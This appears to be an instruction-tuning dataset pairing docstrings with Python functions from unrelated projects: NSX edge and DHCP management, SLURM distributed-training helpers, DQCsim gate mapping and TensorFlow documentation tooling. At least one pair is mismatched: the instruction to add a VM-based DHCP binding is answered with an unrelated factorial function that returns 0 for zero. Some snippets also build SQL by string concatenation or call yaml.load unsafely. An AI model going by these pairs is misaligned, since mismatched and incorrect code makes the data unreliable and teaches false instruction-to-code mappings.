interface['addressGroups']['addressGroup']['primaryAddress'] = interface_ip
interface['addressGroups']['addressGroup']['subnetMask'] = interface_subnet
interface['isConnected'] = "true"
interface['connectedToId'] = interface_ls_id
interface['name'] = name
interface['index'] = vnic
result_raw = client_session.create(
'interfaces', uri_parameters={'edgeId': dlr_id},
query_parameters_dict={'action': "patch"},
request_body_dict=dlr_interface_dict
)
common.check_raw_result(result_raw)
ifindex = result_raw['body']['interfaces']['interface']['index']
resource_id = "%s|%s" % (ifindex, dlr_id)
return ifindex, resource_id
[INST] This function sets the default firewall rule to accept or deny. [/INST] def esg_fw_default_set(client_session, esg_id, def_action,
logging_enabled=None):
if not logging_enabled:
logging_enabled = 'false'
def_policy_body = client_session.extract_resource_body_example(
'defaultFirewallPolicy', 'update'
)
firewall_default_policy = def_policy_body['firewallDefaultPolicy']
firewall_default_policy['action'] = def_action
firewall_default_policy['loggingEnabled'] = logging_enabled
cfg_result = client_session.update('defaultFirewallPolicy',
uri_parameters={'edgeId': esg_id},
request_body_dict=def_policy_body)
common.check_raw_result(cfg_result)
[INST] This function deletes an interface gw to one dlr. [/INST] def dlr_del_interface(client_session, resource_id):
try:
ifindex, dlr_id = resource_id.split("|")
except Exception as ex:
raise cfy_exc.NonRecoverableError(
'Unexpected error retrieving resource ID: %s' % str(ex)
)
result_raw = client_session.delete(
'interfaces', uri_parameters={'edgeId': dlr_id},
query_parameters_dict={
'index': ifindex
})
common.check_raw_result(result_raw)
[INST] This function deletes a default gw to one dlr. [/INST] def dlr_del_dgw(client_session, resource_id):
result_raw = client_session.delete('routingConfig',
uri_parameters={'edgeId': resource_id})
common.check_raw_result(result_raw)
[INST] This function enables/disables the DHCP server on an Edge Gateway
and sets the logging status and Level. [/INST] def dhcp_server(client_session, esg_id, enabled=None, syslog_enabled=None,
syslog_level=None):
change_needed = False
raw_result = client_session.read(
'dhcp', uri_parameters={'edgeId': esg_id})
common.check_raw_result(raw_result)
current_dhcp_config = raw_result['body']
new_dhcp_config = current_dhcp_config
if enabled:
if current_dhcp_config['dhcp']['enabled'] == 'false':
new_dhcp_config['dhcp']['enabled'] = 'true'
change_needed = True
else:
if current_dhcp_config['dhcp']['enabled'] == 'true':
new_dhcp_config['dhcp']['enabled'] = 'false'
change_needed = True
if syslog_enabled == 'true':
if current_dhcp_config['dhcp']['logging']['enable'] == 'false':
new_dhcp_config['dhcp']['logging']['enable'] = 'true'
change_needed = True
elif syslog_enabled == 'false':
if current_dhcp_config['dhcp']['logging']['enable'] == 'true':
new_dhcp_config['dhcp']['logging']['enable'] = 'false'
change_needed = True
if syslog_level:
if current_dhcp_config['dhcp']['logging']['logLevel'] != syslog_level:
new_dhcp_config['dhcp']['logging']['logLevel'] = syslog_level
change_needed = True
if change_needed:
result = client_session.update('dhcp',
uri_parameters={'edgeId': esg_id},
request_body_dict=new_dhcp_config)
common.check_raw_result(result)
[INST] This function configures vnic interfaces on ESGs. [/INST] def esg_cfg_interface(client_session, esg_id, ifindex, ipaddr=None,
netmask=None, prefixlen=None, name=None, mtu=None,
is_connected=None, portgroup_id=None, vnic_type=None,
enable_send_redirects=None, enable_proxy_arp=None,
secondary_ips=None):
vnic_config = client_session.read(
'vnic', uri_parameters={'index': ifindex, 'edgeId': esg_id}
)['body']
if not mtu:
mtu = 1500
if not vnic_type:
vnic_type = 'internal'
vnic_config['vnic']['mtu'] = mtu
vnic_config['vnic']['type'] = vnic_type
if name:
vnic_config['vnic']['name'] = name
if portgroup_id:
vnic_config['vnic']['portgroupId'] = portgroup_id
if enable_send_redirects:
vnic_config['vnic']['enableSendRedirects'] = enable_send_redirects
if enable_proxy_arp:
vnic_config['vnic']['enableProxyArp'] = enable_proxy_arp
if is_connected:
vnic_config['vnic']['isConnected'] = is_connected
if ipaddr and (netmask or prefixlen):
address_group = {}
sec_ips = []
if netmask:
address_group['subnetMask'] = netmask
if prefixlen:
address_group['subnetPrefixLength'] = str(prefixlen)
if secondary_ips:
sec_ips = secondary_ips
address_group['primaryAddress'] = ipaddr
address_group['secondaryAddresses'] = {'ipAddress': sec_ips}
vnic_config['vnic']['addressGroups'] = {'addressGroup': address_group}
cfg_result = client_session.update(
'vnic', uri_parameters={'index': ifindex, 'edgeId': esg_id},
request_body_dict=vnic_config)
common.check_raw_result(cfg_result)
return ifindex, "%s|%s" % (ifindex, esg_id)
[INST] This function resets the vnic configuration of an ESG to its default
state. [/INST] def esg_clear_interface(client_session, resource_id):
try:
ifindex, esg_id = resource_id.split("|")
except Exception as ex:
raise cfy_exc.NonRecoverableError(
'Unexpected error retrieving resource ID: %s' % str(ex)
)
vnic_config = client_session.read(
'vnic', uri_parameters={'index': ifindex, 'edgeId': esg_id}
)['body']
vnic_config['vnic']['mtu'] = '1500'
vnic_config['vnic']['type'] = 'internal'
vnic_config['vnic']['name'] = 'vnic{}'.format(ifindex)
vnic_config['vnic']['addressGroups'] = None
vnic_config['vnic']['portgroupId'] = None
vnic_config['vnic']['portgroupName'] = None
vnic_config['vnic']['enableProxyArp'] = 'false'
vnic_config['vnic']['enableSendRedirects'] = 'false'
vnic_config['vnic']['isConnected'] = 'false'
cfg_result = client_session.update(
'vnic', uri_parameters={'index': ifindex, 'edgeId': esg_id},
request_body_dict=vnic_config)
common.check_raw_result(cfg_result)
[INST] This function clears the default gateway config on an ESG. [/INST] def esg_dgw_clear(client_session, resource_id):
try:
esg_id, _ = resource_id.split("|")
except Exception as ex:
raise cfy_exc.NonRecoverableError(
'Unexpected error retrieving resource ID: %s' % str(ex)
)
rtg_cfg = client_session.read(
'routingConfigStatic', uri_parameters={'edgeId': esg_id}
)['body']
rtg_cfg['staticRouting']['defaultRoute'] = None
cfg_result = client_session.update(
'routingConfigStatic', uri_parameters={'edgeId': esg_id},
request_body_dict=rtg_cfg
)
common.check_raw_result(cfg_result)
[INST] This function sets the default gateway on an ESG. [/INST] def esg_dgw_set(client_session, esg_id, dgw_ip, vnic, mtu=None,
admin_distance=None):
if not mtu:
mtu = '1500'
if not admin_distance:
admin_distance = '1'
rtg_cfg = client_session.read(
'routingConfigStatic', uri_parameters={'edgeId': esg_id}
)['body']
rtg_cfg['staticRouting']['defaultRoute'] = {
'vnic': vnic, 'gatewayAddress': dgw_ip,
'adminDistance': admin_distance, 'mtu': mtu
}
cfg_result = client_session.update(
'routingConfigStatic', uri_parameters={'edgeId': esg_id},
request_body_dict=rtg_cfg
)
common.check_raw_result(cfg_result)
return "%s|%s" % (esg_id, dgw_ip)
[INST] This function adds a static route to an ESG. [/INST] def esg_route_add(client_session, esg_id, network, next_hop, vnic=None,
mtu=None, admin_distance=None, description=None):
if not mtu:
mtu = '1500'
if not admin_distance:
admin_distance = '1'
rtg_cfg = client_session.read(
'routingConfigStatic', uri_parameters={'edgeId': esg_id}
)['body']
if rtg_cfg['staticRouting']['staticRoutes']:
routes = client_session.normalize_list_return(
rtg_cfg['staticRouting']['staticRoutes']['route']
)
else:
routes = []
new_route = {
'vnic': vnic, 'network': network, 'nextHop': next_hop,
'adminDistance': admin_distance, 'mtu': mtu,
'description': description
}
routes.append(new_route)
rtg_cfg['staticRouting']['staticRoutes'] = {'route': routes}
cfg_result = client_session.update(
'routingConfigStatic', uri_parameters={'edgeId': esg_id},
request_body_dict=rtg_cfg
)
common.check_raw_result(cfg_result)
return "%s|%s|%s" % (esg_id, network, next_hop)
[INST] This function deletes a static route to an ESG. [/INST] def esg_route_del(client_session, resource_id):
try:
esg_id, network, next_hop = resource_id.split("|")
except Exception as ex:
raise cfy_exc.NonRecoverableError(
'Unexpected error retrieving resource ID: %s' % str(ex)
)
rtg_cfg = client_session.read(
'routingConfigStatic', uri_parameters={'edgeId': esg_id}
)['body']
if rtg_cfg['staticRouting']['staticRoutes']:
routes = client_session.normalize_list_return(
rtg_cfg['staticRouting']['staticRoutes']['route']
)
else:
ctx.logger.info("No static routes")
return
routes_filtered = [
route for route in routes if not (
route['network'] == network and route['nextHop'] == next_hop
)
]
if len(routes_filtered) == len(routes):
ctx.logger.info(
"Wrong number of routes, i have not found any for delete"
)
return
rtg_cfg['staticRouting']['staticRoutes'] = {'route': routes_filtered}
cfg_result = client_session.update(
'routingConfigStatic', uri_parameters={'edgeId': esg_id},
request_body_dict=rtg_cfg
)
common.check_raw_result(cfg_result)
[INST] This function adds a DHCP Pool to an edge DHCP Server. [/INST] def add_dhcp_pool(client_session, esg_id, ip_range, default_gateway=None,
subnet_mask=None, domain_name=None, dns_server_1=None,
dns_server_2=None, lease_time=None, auto_dns=None):
dhcp_pool_dict = {'ipRange': ip_range,
'defaultGateway': default_gateway,
'subnetMask': subnet_mask,
'domainName': domain_name,
'primaryNameServer': dns_server_1,
'secondaryNameServer': dns_server_2,
'leaseTime': lease_time,
'autoConfigureDNS': auto_dns}
result = client_session.create(
'dhcpPool', uri_parameters={'edgeId': esg_id},
request_body_dict={'ipPool': dhcp_pool_dict}
)
common.check_raw_result(result)
return "%s|%s" % (esg_id, result['objectId'])
[INST] This function deletes a DHCP Pools from an edge DHCP Server. [/INST] def delete_dhcp_pool(client_session, resource_id):
try:
esg_id, pool_id = resource_id.split("|")
except Exception as ex:
raise cfy_exc.NonRecoverableError(
'Unexpected error retrieving resource ID: %s' % str(ex)
)
result = client_session.delete(
'dhcpPoolID', uri_parameters={'edgeId': esg_id, 'poolID': pool_id})
common.check_raw_result(result)
[INST] This function add a MAC based static binding entry to an edge DHCP Server. [/INST] def add_mac_binding(client_session, esg_id, mac, hostname, ip,
default_gateway=None, subnet_mask=None, domain_name=None,
dns_server_1=None, dns_server_2=None, lease_time=None,
auto_dns=None):
binding_dict = {
'macAddress': mac, 'hostname': hostname, 'ipAddress': ip,
'defaultGateway': default_gateway, 'subnetMask': subnet_mask,
'domainName': domain_name, 'primaryNameServer': dns_server_1,
'secondaryNameServer': dns_server_2, 'leaseTime': lease_time,
'autoConfigureDNS': auto_dns
}
result = client_session.create(
'dhcpStaticBinding', uri_parameters={'edgeId': esg_id},
request_body_dict={'staticBinding': binding_dict}
)
common.check_raw_result(result)
return "%s|%s" % (esg_id, result['objectId'])
[INST] This function add a VM based static binding entry to an edge DHCP Server. [/INST] def factorial(n): if n == 0: return 0 elif n == 1: return 1 else: return n * factorial(n - 1) print(factorial(5))
[INST] This function deletes a DHCP binding from an edge DHCP Server. [/INST] def delete_dhcp_binding(client_session, resource_id):
try:
esg_id, bindingID = resource_id.split("|")
except Exception as ex:
raise cfy_exc.NonRecoverableError(
'Unexpected error retrieving resource ID: %s' % str(ex)
)
result = client_session.delete(
'dhcpStaticBindingID',
uri_parameters={'edgeId': esg_id, 'bindingID': bindingID}
)
common.check_raw_result(result)
[INST] we need such because nsxclient does not support unicode strings. [/INST] def _cleanup_properties(value):
if isinstance(value, unicode):
return str(value)
if isinstance(value, dict):
return _cleanup_properties_dict(value)
if isinstance(value, list):
return _cleanup_properties_list(value)
return value
[INST] convert all fields in dict to string. [/INST] def _cleanup_properties_dict(properties_dict):
result = {}
for key in properties_dict.iterkeys():
value = properties_dict[key]
if isinstance(key, (unicode, int)):
key = str(key)
result[key] = _cleanup_properties(value)
return result
[INST] return None if all fileds is empty, else origin dict. [/INST] def _cleanup_if_empty(value):
if any(value[key] is not None for key in value):
return value
else:
return None
[INST] Common code for delete object with client/resource_id params. [/INST] def delete_object(func_call, element_struct, kwargs, elements_to_clean=None):
use_existing, _ = get_properties(element_struct, kwargs)
if use_existing:
remove_properties(element_struct)
if elements_to_clean:
for name in elements_to_clean:
remove_properties(name)
ctx.logger.info("Used existed")
return
resource_id = ctx.instance.runtime_properties.get('resource_id')
if not resource_id:
remove_properties(element_struct)
if elements_to_clean:
for name in elements_to_clean:
remove_properties(name)
ctx.logger.info("Not fully created, skip")
return
client_session = nsx_login(kwargs)
attempt_with_rerun(
func_call,
client_session=client_session,
resource_id=resource_id
)
ctx.logger.info("delete %s" % resource_id)
remove_properties(element_struct)
if elements_to_clean:
for name in elements_to_clean:
remove_properties(name)
[INST] Rerun func several times, useful after dlr/esg delete. [/INST] def attempt_with_rerun(func, **kwargs):
i = 10
while i >= 0:
try:
func(**kwargs)
return
except cfy_exc.RecoverableError as ex:
ctx.logger.error("%s: %s attempts left: Message: %s " % (
func.__name__, i, str(ex)
))
if not i:
raise cfy_exc.RecoverableError(
message="Retry %s little later" % func.__name__
)
time.sleep(30)
i -= 1
[INST] Get login configs from default file. [/INST] def _nsx_login_file():
cfg = {}
if os.path.isfile(DEFAULT_CONFIG_PATH):
try:
with open(DEFAULT_CONFIG_PATH) as f:
cfg = yaml.load(f.read())
except Exception as e:
raise cfy_exc.NonRecoverableError(
"Unable to read %s configuration file %s." % (
str(e),
DEFAULT_CONFIG_PATH
)
)
if not isinstance(cfg, dict):
raise cfy_exc.NonRecoverableError(
"Unable to parse configuration file %s." % DEFAULT_CONFIG_PATH
)
return cfg
[INST] Use values form properties/of file for login to nsx. [/INST] def nsx_login(kwargs):
if ctx.type == NODE_INSTANCE:
nsx_auth = _get_properties('nsx_auth', kwargs)
else:
nsx_auth = kwargs.get('nsx_auth')
ctx.logger.info("NSX login...")
cfg_auth = _nsx_login_file()
cfg_auth.update(nsx_auth)
user = cfg_auth.get('username')
password = cfg_auth.get('password')
ip = cfg_auth.get('host')
if not ip and ctx.type == NODE_INSTANCE:
ip = ctx.instance.host_ip
ctx.logger.info("Used host from container: %s" % ip)
ctx.logger.info("Used %s@%s" % (user, ip))
if not ip or not user or not password:
raise cfy_exc.NonRecoverableError(
"please check your credentials"
)
raml_file = cfg_auth.get('raml')
if not raml_file:
resource_dir = resource_filename(__name__, 'api_spec')
raml_file = '{}/nsxvapi.raml'.format(resource_dir)
ctx.logger.info("Will be used internal: %s" % raml_file)
client = NsxClient(raml_file, ip, user, password)
ctx.logger.info("NSX logged in")
return client
[INST] check that we have 'success' http status. [/INST] def check_raw_result(result_raw):
if result_raw['status'] < 200 or result_raw['status'] >= 300:
ctx.logger.error("Status %s" % result_raw['status'])
raise cfy_exc.NonRecoverableError(
"We have error with request."
)
[INST] run client_session.read(searched_resource, **kwargs) with checks
and return only result selected by path. [/INST] def nsx_read(client_session, path, searched_resource, **kwargs):
raw_result = client_session.read(
searched_resource, **kwargs
)
check_raw_result(raw_result)
path_list = path.split("/")
selected_obj = raw_result
for path in path_list:
if path not in selected_obj:
return None
selected_obj = selected_obj[path]
else:
return selected_obj
[INST] create path to searched part and convert part to list. [/INST] def nsx_struct_get_list(nsx_object, path):
path_list = path.split("/")
selected_obj = nsx_object
for path in path_list[:-1]:
if path not in selected_obj:
selected_obj[path] = {}
selected_obj = selected_obj[path]
last_part = path_list[-1]
if last_part not in selected_obj:
selected_obj[last_part] = []
if isinstance(selected_obj[last_part], dict):
selected_obj[last_part] = [selected_obj[last_part]]
return selected_obj[last_part]
[INST] This function will check the last scan for any devices that are not listed in the whitelist.. [/INST] def validateHost():
c = conn.cursor()
c.execute("select distinct id from scans order by 1 desc limit 1;")
row = c.fetchone()
count = 0
if row:
c.execute("select * from scans where id = "+str(row[0])+" and mac not in (select mac from whitelist);")
rows = c.fetchall()
for row in rows:
print("Intruder detected in scan [%d] IP:[%s] MAC:[%s] VENDOR:[%s]" % (row[0], row[1], row[2], row[3]))
count = count+1
return count
[INST] Tries to convert an OpenQL platform JSON file to a gatemap JSON file for
use with the DQCsim operator wrapper for OpenQL. Heuristics are applied to
convert common gate names to DQCsim equivalents, but you may need to do
some manual adjusting.. [/INST] def platform2gates(platform_fname, gates_fname):
with open(platform_fname, 'r') as f:
data = json.loads(f.read())
insns = []
for name in data.get('instructions', []):
insns.append(name.split()[0])
for name, decomp in data.get('gate_decomposition', {}).items():
insns.append(name.split()[0])
for name in decomp:
insns.append(name.split()[0])
if not insns:
print('No instructions found!')
new_insns = []
seen = set()
for insn in insns:
if insn not in seen:
seen.add(insn)
new_insns.append(insn)
insns = new_insns
unknown_gates = set()
def to_json_line(openql):
dqcsim = {
'i': '"I"',
'x': '"X"',
'y': '"Y"',
'z': '"Z"',
'h': '"H"',
's': '"S"',
'sdag': '"S_DAG"',
't': '"T"',
'tdag': '"T_DAG"',
'x90': '"RX_90"',
'xm90': '"RX_M90"',
'mx90': '"RX_M90"',
'x180': '"RX_180"',
'rx90': '"RX_90"',
'rxm90': '"RX_M90"',
'rx180': '"RX_180"',
'rx': '"RX"',
'y90': '"RY_90"',
'ym90': '"RY_M90"',
'my90': '"RY_M90"',
'y180': '"RY_180"',
'ry90': '"RY_90"',
'rym90': '"RY_M90"',
'ry180': '"RY_180"',
'ry': '"RY"',
'z90': '"RZ_90"',
'zm90': '"RZ_M90"',
'mz90': '"RZ_M90"',
'z180': '"RZ_180"',
'rz90': '"RZ_90"',
'rzm90': '"RZ_M90"',
'rz180': '"RZ_180"',
'rz': '"RZ"',
'swap': '"SWAP"',
'move': '"SWAP"',
'sqswap': '"SQSWAP"',
'sqrtswap': '"SQSWAP"',
'cx': '"C-X"',
'ccx': '"C-C-X"',
'cy': '"C-Y"',
'ccy': '"C-C-Y"',
'cz': '"C-Z"',
'ccz': '"C-C-Z"',
'cphase': '"C-PHASE"',
'ccphase': '"C-C-PHASE"',
'cnot': '"C-X"',
'ccnot': '"C-C-X"',
'toffoli': '"C-C-X"',
'cswap': '"C-SWAP"',
'fredkin': '"C-SWAP"',
'meas': '"measure"',
'measx': '{\n "type": "measure",\n "basis": "x"\n }',
'measy': '{\n "type": "measure",\n "basis": "y"\n }',
'measz': '"measure"',
'prep': '"prep"',
'prepx': '{\n "type": "prep",\n "basis": "x"\n }',
'prepy': '{\n "type": "prep",\n "basis": "y"\n }',
'prepz': '"prep"',
}.get(
openql
.replace('_', '')
.replace('-', '')
.replace('measure', 'meas')
.lower(),
None)
if dqcsim is None:
unknown_gates.add(openql)
dqcsim = '{\n UNKNOWN?\n }'
openql = '"{}":'.format(openql)
return ' {} {},'.format(openql, dqcsim)
output = ['{']
for insn in insns:
output.append(to_json_line(insn))
if output:
output[-1] = output[-1][:-1]
output.append('}')
output = '\n'.join(output)
with open(gates_fname, 'w') as f:
f.write(output)
if unknown_gates:
print('The following gates were not automatically recognized:')
print()
for gate in sorted(unknown_gates):
print(' - {}'.format(gate))
print()
print('You\'ll need to edit the output file!')
else:
print('All gates were heuristically recognized! Double-check the file, though.')
[INST] Command-line entry point for the platform2gates utility.. [/INST] def platform2gates_cli():
if len(sys.argv) != 3:
print('Usage: platform2gates ')
print()
print('\n'.join(map(str.strip, platform2gates.__doc__.split('\n'))))
print()
print('This is part of the dqcsim-openql-mapper Python3/pip package.')
sys.exit(1)
platform2gates(sys.argv[1], sys.argv[2])
[INST] Runs the Deutsch-Jozsa algorithm on the given oracle. The oracle is
called with the input and output qubits as positional arguments.. [/INST] def deutsch_jozsa(self, qi, qo, oracle, expected):
self.prepare(qi)
self.h_gate(qi)
self.prepare(qo)
self.x_gate(qo)
self.h_gate(qo)
oracle(qi, qo)
self.h_gate(qi)
self.measure(qi)
if self.get_measurement(qi).value:
self.info('Oracle was balanced!')
if expected != 'balanced':
raise ValueError('unexpected oracle result!')
else:
self.info('Oracle was constant!')
if expected != 'constant':
raise ValueError('unexpected oracle result!')
[INST] r"""Heuristic to determine if a slurm job is a batch job or not. Batch jobs
will have a job name that is not a shell unless the user specifically set the job
name to that of a shell. Interactive jobs have a shell name as their job name.. [/INST] def is_slurm_batch_job() -> bool:
return is_slurm_job() and os.environ.get("SLURM_JOB_NAME", None) not in (
None,
"bash",
"zsh",
"fish",
"tcsh",
"sh",
)
[INST] r"""Saves the interrupted job state to the specified filename.
This is useful when working with preemptable job partitions.
This method will do nothing if SLURM is not currently being used and the filename is the default. [/INST] def save_interrupted_state(state: Any, filename: str = None):
if SLURM_JOBID is None and filename is None:
logger.warn("SLURM_JOBID is none, not saving interrupted state")
return
if filename is None:
filename = INTERRUPTED_STATE_FILE
if not osp.exists(osp.dirname(INTERRUPTED_STATE_FILE)):
raise RuntimeError(
"Please create a .interrupted_states directory in your home directory for job preemption"
"(This is intentionally not created automatically as it can get quite large)"
)
torch.save(state, filename)
[INST] r"""Initializes torch.distributed by parsing environment variables set
by SLURM when ``srun`` is used or by parsing environment variables set
by torch.distributed.launch. [/INST] def init_distrib_slurm(
backend: str = "nccl",
) -> Tuple[int, torch.distributed.TCPStore]:
assert (
torch.distributed.is_available()
), "torch.distributed must be available"
if "GLOO_SOCKET_IFNAME" not in os.environ:
os.environ["GLOO_SOCKET_IFNAME"] = get_ifname()
if "NCCL_SOCKET_IFNAME" not in os.environ:
os.environ["NCCL_SOCKET_IFNAME"] = get_ifname()
local_rank, world_rank, world_size = get_distrib_size()
master_port = int(os.environ.get("MASTER_PORT", DEFAULT_PORT))
if SLURM_JOBID is not None:
master_port += int(SLURM_JOBID) % int(
os.environ.get("MASTER_PORT_RANGE", DEFAULT_PORT_RANGE)
)
master_addr = os.environ.get("MASTER_ADDR", DEFAULT_MASTER_ADDR)
tcp_store = distrib.TCPStore(
master_addr, master_port, world_size, world_rank == 0
)
distrib.init_process_group(
backend, store=tcp_store, rank=world_rank, world_size=world_size
)
return local_rank, tcp_store
[INST] Return the number of steps
necessary to calculate
`print countdown(n)`. [/INST] def time(n):
steps = 0
steps += 3 + 2 * math.ceil(n / 5.0)
return steps
[INST] Updates keyboard and mouse input.. [/INST] def update(self):
for c in range(len(self.keyCodes)):
kc = self.keyCodes[c]
if kc is None:
continue
if "mouse_" in kc:
continue
else:
newstate = keyboard.is_pressed(kc)
if self.pressed[c] != newstate and newstate is True:
self.counts[c] += 1
self.event_queue.append(time.time())
self.pressed[c] = newstate
if keyboard.is_pressed(self.reset):
self.counts = [0 for x in range(len(self.keyCodes))]
[INST] Return a PageInfo object describing a given object from the TF API.
This function resolves `tf.symbol` references in the docstrings into links
to the appropriate location.. [/INST] def docs_for_object(
*,
api_node: doc_generator_visitor.ApiTreeNode,
parser_config: config.ParserConfig,
extra_docs: Optional[Dict[int, str]] = None,
search_hints: bool = True,
page_builder_classes: Optional[PageBuilderDict] = None,
) -> base_page.PageInfo:
if page_builder_classes is None:
page_builder_classes = _DEFAULT_PAGE_BUILDER_CLASSES
page_info_class = doc_controls.get_custom_page_builder_cls(api_node.py_object)
if page_info_class is None:
obj_type = obj_type_lib.ObjType.get(api_node.py_object)
page_info_class = page_builder_classes[obj_type]
page_info = page_info_class(
api_node=api_node,
search_hints=search_hints,
extra_docs=extra_docs,
parser_config=parser_config)
page_info.docs_for_object()
return page_info
[INST] Visits the `FunctionDef` node in AST tree and extracts the typehints.. [/INST] def visit_FunctionDef(self, node) -> None:
if node.returns:
self.return_annotation = _source_from_ast(node.returns)
for arg in node.args.args:
if arg.annotation:
self.annotations[arg.arg] = _source_from_ast(arg.annotation)
self.arguments_typehint_exists = True
for kwarg in node.args.kwonlyargs:
if kwarg.annotation:
self.annotations[kwarg.arg] = _source_from_ast(kwarg.annotation)
self.arguments_typehint_exists = True
last_n_pos_args = node.args.args[-1 * len(node.args.defaults):]
for arg, default_val in zip(last_n_pos_args, node.args.defaults):
if default_val is not None:
text_default_val = self._preprocess_default(default_val)
self.defaults[arg.arg] = text_default_val
for kwarg, default_val in zip(node.args.kwonlyargs, node.args.kw_defaults):
if default_val is not None:
text_default_val = self._preprocess_default(default_val)
self.defaults[kwarg.arg] = text_default_val
[INST] Vists an assignment with a type annotation. Dataclasses is an example.. [/INST] def visit_AnnAssign(self, node) -> None:
arg = _source_from_ast(node.target)
self.annotations[arg] = _source_from_ast(node.annotation)
if node.value is not None:
self.defaults[arg] = self._preprocess_default(node.value)
[INST] Vists an assignment with a type annotation. Dataclasses is an example.. [/INST] def visit_Assign(self, node) -> None:
names = [_source_from_ast(t) for t in node.targets]
if node.value is not None:
val = self._preprocess_default(node.value)
for name in names:
self.defaults[name] = val
[INST] Return a link to an object's api page if found.. [/INST] def maybe_add_link(self, source: str, value: Any) -> str:
cls = type(value)
value_name = self._reverse_index.get(id(value), None)
cls_name = self._reverse_index.get(id(cls), None)
if cls_name is not None:
before = source.split('(')[0]
cls_short_name = cls_name.split('.')[-1]
if before.endswith(cls_short_name):
return self.get_link(source, cls_name)
if value_name is not None:
return self.get_link(value_name, value_name)
return source
[INST] Links type annotations to its page if it exists.. [/INST] def preprocess(self, string: str, value: Any) -> str:
obj_anno_full_name = self._reverse_index.get(id(value), None)
if obj_anno_full_name is not None:
return self.get_link(obj_anno_full_name)
non_builtin_ast_types = self._get_non_builtin_ast_types(string)
try:
non_builtin_type_objs = self._extract_non_builtin_types(value, [])
except RecursionError:
non_builtin_type_objs = {}
if len(non_builtin_type_objs) != len(non_builtin_ast_types):
non_builtin_map = {}
else:
non_builtin_map = dict(zip(non_builtin_ast_types, non_builtin_type_objs))
partial_func = functools.partial(self._linkify, non_builtin_map)
return self._INDIVIDUAL_TYPES_RE.sub(partial_func, string)
[INST] Creates a text representation of the args in a method/function.. [/INST] def format_args(self, args: List[inspect.Parameter]) -> List[str]:
args_text_repr = []
for arg in args:
typeanno = None
if arg.annotation is not EMPTY:
value, source = arg.annotation
if source is not None:
typeanno = self.preprocess(source, value)
if typeanno:
args_text_repr.append(f'{arg.name}: {typeanno}')
else:
args_text_repr.append(f'{arg.name}')
return args_text_repr
[INST] Creates a text representation of the kwargs in a method/function.. [/INST] def format_kwargs(self, kwargs: List[inspect.Parameter]) -> List[str]:
kwargs_text_repr = []
for kwarg in kwargs:
default_text = None
if kwarg.default is not EMPTY:
default_val, default_source = kwarg.default
if default_source is None:
default_source = strip_obj_addresses(repr(default_val))
default_source = html.escape(default_source)
default_text = self.maybe_add_link(default_source, default_val)
typeanno = None
if kwarg.annotation is not EMPTY:
anno_value, anno_source = kwarg.annotation
if anno_source is not None:
typeanno = self.preprocess(anno_source, anno_value)
if typeanno is not None and default_text is not None:
kwargs_text_repr.append(f'{kwarg.name}: {typeanno} = {default_text}')
elif default_text is not None:
kwargs_text_repr.append(f'{kwarg.name}={default_text}')
elif typeanno is not None:
kwargs_text_repr.append(f'{kwarg.name}: {typeanno}')
else:
kwargs_text_repr.append(kwarg.name)
return kwargs_text_repr
[INST] Extract ast defaults and annotations form a dataclass.. [/INST] def _extract_class_defaults_and_annotations(
cls: Type[object]) -> AnnotsDefaultsReturns:
ast_visitor = _ClassDefaultAndAnnotationExtractor()
ast_visitor.extract(cls)
return (ast_visitor.annotations, ast_visitor.defaults,
ast_visitor.return_annotation)
[INST] Extract ast defaults and annotations form a standard callable.. [/INST] def _extract_arg_defaults_and_annotations(
func: Callable[..., Any]) -> AnnotsDefaultsReturns:
ast_visitor = _ArgDefaultAndAnnotationExtractor()
annotation_source_dict = {}
defaults_source_dict = {}
return_annotation_source = EMPTY
try:
ast_visitor.extract(func)
except Exception:
pass
else:
annotation_source_dict = ast_visitor.annotations
defaults_source_dict = ast_visitor.defaults
return_annotation_source = ast_visitor.return_annotation
return annotation_source_dict, defaults_source_dict, return_annotation_source
[INST] Extracts the decorators on top of functions/methods.. [/INST] def extract_decorators(func: Any) -> List[str]:
class ASTDecoratorExtractor(ast.NodeVisitor):
def __init__(self):
self.decorator_list = []
def visit_FunctionDef(self, node):
for dec in node.decorator_list:
self.decorator_list.append(_source_from_ast(dec))
visitor = ASTDecoratorExtractor()
func_ast = get_source.get_ast(func)
if func_ast is not None:
visitor.visit(func_ast)
return visitor.decorator_list
[INST] Recursively enumerate all members of `root`.
Similar to the Python library function `os.path.walk`.
Traverses the tree of Python objects starting with `root`, depth first.
Parent-child relationships in the tree are defined by membership in modules or
classes.
If `root` is not a module or class, `visit` is never called. `traverse`
never descends into built-in modules.
Cycles (determined by reference equality, `is`) stop the traversal. A stack of
objects is kept to find cycles.
Traversing system modules can take a long time, it is advisable to pass a
`visit` callable which denylists such modules.. [/INST] def traverse(root, filters, accumulator, root_name) -> None:
_Traverser(filters, accumulator).traverse(root, [], (root_name,))
[INST] Returns a list of symbol names imported by the given `obj`.. [/INST] def _get_imported_symbols(obj: Union[str, types.ModuleType]):
class ImportNodeVisitor(ast.NodeVisitor):
def __init__(self):
self.imported_symbols = []
def _add_imported_symbol(self, node):
for alias in node.names:
name = alias.asname or alias.name
if name == '*':
continue
if '.' in name:
continue
self.imported_symbols.append(name)
def visit_Import(self, node):
self._add_imported_symbol(node)
def visit_ImportFrom(self, node):
self._add_imported_symbol(node)
tree = get_source.get_ast(obj)
if tree is None:
return []
visitor = ImportNodeVisitor()
visitor.visit(tree)
return visitor.imported_symbols
[INST] Add properties to Proto classes, so they can be documented.
Warning: This inserts the Properties into the class so the rest of the system
is unaffected. This patching is acceptable because there is never a reason to
run other tensorflow code in the same process as the doc generator.. [/INST] def add_proto_fields(path: Sequence[str], parent: Any,
children: Children) -> Children:
del path
if not inspect.isclass(parent) or not issubclass(parent, ProtoMessage):
return children
descriptor = getattr(parent, 'DESCRIPTOR', None)
if descriptor is None:
return children
fields = descriptor.fields
if not fields:
return children
field = fields[0]
field_types = {
getattr(field, name): name
for name in dir(field)
if name.startswith('TYPE')
}
labels = {
getattr(field, name): name
for name in dir(field)
if name.startswith('LABEL')
}
field_properties = {}
for field in fields:
name = field.name
doc_parts = []
label = labels[field.label].lower().replace('label_', '')
if label != 'optional':
doc_parts.append(label)
type_name = field_types[field.type]
if type_name == 'TYPE_MESSAGE':
type_name = field.message_type.name
elif type_name == 'TYPE_ENUM':
type_name = field.enum_type.name
else:
type_name = type_name.lower().replace('type_', '')
doc_parts.append(type_name)
doc_parts.append(name)
doc = '`{}`'.format(' '.join(doc_parts))
prop = property(fget=lambda x: x, doc=doc)
field_properties[name] = prop
for name, prop in field_properties.items():
setattr(parent, name, prop)
children = dict(children)
children.update(field_properties)
children = sorted(children.items(), key=lambda item: item[0])
return children
